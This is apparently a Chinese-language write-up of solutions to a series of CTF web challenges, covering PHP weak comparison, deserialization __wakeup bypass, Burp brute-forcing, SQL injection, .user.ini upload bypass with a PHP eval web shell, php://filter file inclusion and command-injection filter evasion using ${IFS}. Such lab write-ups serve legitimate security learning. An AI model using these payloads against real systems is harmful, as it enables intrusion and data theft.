目录
Training-WWW-Robots
访问/robots.txt,发现存在fl0g.php,访问得到flag
PHP2
御剑扫描下目录,发现存在index.phps,访问得到源码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
根据源码我们可知,需要传入一个id参数,使它的值不能直接等于admin,但是url解码后的值为admin
这时候考虑url二次编码绕过,因为浏览器本身会对你传入的参数进行一次url编码,所以需要用到二次编码
payload:?id=%2561%2564%256D%2569%256E
这里需要回到index.php中传参,而不是在index.phps
unserialize3
先介绍一下序列化和反序列化
序列化:对象的状态信息转换为可以存储或传输的形式的过程在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串。
反序列化:将字符串转换为状态信息。
可以简单的理解为编码和解码的关系:序列化是编码,反序列化是解码。
序列化后的内容一般为
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
再介绍一下wakeup函数
__wakeup():使用unserialize时触发
也就是说在你反序列化时它会自动调用
在看下题目给的源码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
当__wakeup函数被调用时就直接退出,所以我们应该想办法绕过__wakeup
对xctf类进行序列化,得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}
要想绕过wakeup函数,只要让反序列化失败即可,这样就不会调用该魔术方法
所以可以修改O的值只要大等0就行,或者修改xctf的值大于1,也可以修改其他值
payload:
?code=O:0:"xctf":1:{s:1:"flag";s:3:"111";}
?code=O:4:"xctf":2:{s:1:"flag";s:3:"111";}
?code=O:4:"xctf":1:{s:2:"flag";s:3:"111";}
?code=O:4:"xctf":1:{s:1:"flag";s:4:"111";}
ics-06
一个个点发现只有报表中心能进去,还存在id参数
一开始以为是SQL注入,尝试一下发现不行,猜测可能是要我们爆破id
bp抓包发送到intruder模块,payload选择Number
发现id=2333的长度不对,猜测可能存在flag
访问一下得到flag
view_source
F12查看源代码
get_post
用hackbar传参即可
robots
访问/robots.txt,发现flag目录
访问一下得到flag
backup
常见网站的备份文件有:index.phps、www.zip、index.php.bak等
测试一下发现存在index.php.bak,下载得到flag
cookie
F12,网络查看cookie,发现提示
访问cookie.php,提示我们看http响应,F12,网络进行查看得到flag
disabled_button
F12查看源代码,发现存在disabled属性,该属性规定禁用input元素,使input元素既不可用也不可点击。直接将它删掉即可
删掉之后回车,按钮就可以点击了
weak_auth
bp抓包发送到intruder模块,因为不知道用户名所以选择Cluster bomb,
payload1设置账号字典,payload2设置密码字典开始爆破
得到密码123456,登录成功获得flag
simple_php
给了源码,如果a=0且a为真就输出flag1,如果b>1234且不为数字输出flag2
注意到这里是两个等号,即php的弱比较,只比较值,不比较类型
在php中,弱比较条件下,’a’==0,所以可以采用这种方法绕过
payload:?a=0a&b=12345a
baby_web
根据提示访问一下index.php,F12查看网络,发现存在index.php,不过被重定向到了1.php,在响应头中发现flag
inget
提示我们输入id并绕过它,这里猜是sql注入,这里测试一下是什么类型,结果发现不管输入什么都没有回显,尝试一下万能密码,成功绕过,也可以使用sqlmap进行注入
payload:?id=1' or 1=1 --+
easyupload
经过测试发现本题需要绕过的点有
检查文件内容中是否含有’php’
检查后缀中是否含有htaccess或ph
检查文件头和MIME
对于第一点可以采用php短标签绕过,如<?=phpinfo();?>
对于第二点可以通过上传.user.ini文件
php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
对于第三点可以在上传文件头部添加图片文件头,在上传的时候修改Conten-Type
首先上传一个.user.ini文件,内容为:
GIF89a
auto_prepend_file=1.txt
在用bp抓包修改Content-Type为image/gif
再上传1.txt文件,内容为:
GIF89a
<?= @eval($_POST[‘a’]); ?>
蚁剑连接一下,得到flag
fileinclude
F12查看源代码,可以看到$lan等于cookie中language的值,如果$lan的值不为空就将$lan与.php进行拼接。所以这题的思路应该是将$lan的值赋值为flag
直接传入Cookie: language=flag发现没有回显,考虑到是文件包含,所以采用php伪协议
payload:Cookie: language=php://filter/convert.base64-encode/resource=flag
base64解码得到flag
fileclude
分析代码,用get方式传入file1和file2,如果$file2的值等于hello ctf,就包含$file1
题目已经告诉我们存在flag.php,所以应该将$file1赋值为flag.php
这题要同时用到php://input和php://filter两个协议
用php://input将file2的值赋值为hello ctf,再使用php://filter包含flag.php
payload:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input
hello ctf(POST方式传入)
base64解码得到flag
easyphp
第一部分的比较
要使$a的值大于6000000且长度小等3,很明显可以采用科学计数法绕过,如?a=6e9
对于$b,要使它md5加密后的值的最后6位等于8b184b,这里只能一个个爆破
from hashlib import md5
def get_md5(screct):
src=screct.encode('utf-8')
md=md5(src).hexdigest()
return md
for i in range(100000):
s=str(i)
md=get_md5(s)
if(md[-6:]=='8b184b'):
print(s)
print(md)
最终得到b的值位53724
第二部分的比较
传入的c为json格式,其中m键的值要大于2022且m不是纯数字,所以可以让m的值等于2023a,n键要为数组,且其中元素数量为2,且数组第一个元素也应该为数组
最关键的部分在于绕过array_search这个函数,它要求n键中存在DGGJ,而下面又判断如果存在DGGJ就die
在php弱比较中字符串的值就等于0,所以只要使n里非零下标的元素中的值也为0即可
即c={"m":"2023a","n":[[0],0]}
最终payload:?a=6e9&b=53724&c={"m":"2023a","n":[[0],0]}
file_include
使用?filename=php://filter/convert.base64-encode/resource=./check.php读取文件发现失败,猜测可能针对编码方式进行了过滤。
了解到convert过滤器支持convert.a.b的用法,那么就可以将php支持的编码方式写入字典对其进行爆破
bp抓包发送到intruder模块,选择Cluster bomb,设置好payload进行攻击
最终测试得到这些结果都是可以的
猜测flag在flag.php里,构造payload
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
unseping
分析一下代码,用post方式传入变量ctf,将ctf进行base64编码后再反序列化。
在调用时会先调用_wakeup(),然后调用waf()
在waf()函数中将|,&,;,空格,/,cat,flag,tac,php,ls都给过滤了
最后调用_destruct(),再调用ping()执行命令
构造payload
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo "\n";
echo base64_encode($b);
?>
用””的方法绕过过滤,得到base64编码过后的序列化值
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
发现存在flag_1s_here目录
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));
$b = serialize($a);
echo $b;
echo "\n";
echo base64_encode($b);
?>
采用${IFS}绕过空格
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsIiJhZ18xc19oZXJlIjt9fQ==
存在flag_831b69012c67b35f.php,可以执行cat flag_1s_here/flag_831b69012c67b35f.php来获取flag,但是/被过滤了,所以采用$(printf${IFS}"\57")来绕过
构造payload:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_*'));
$b = serialize($a);
echo $b;
echo "\n";
echo base64_encode($b);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo1MzoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXyoiO319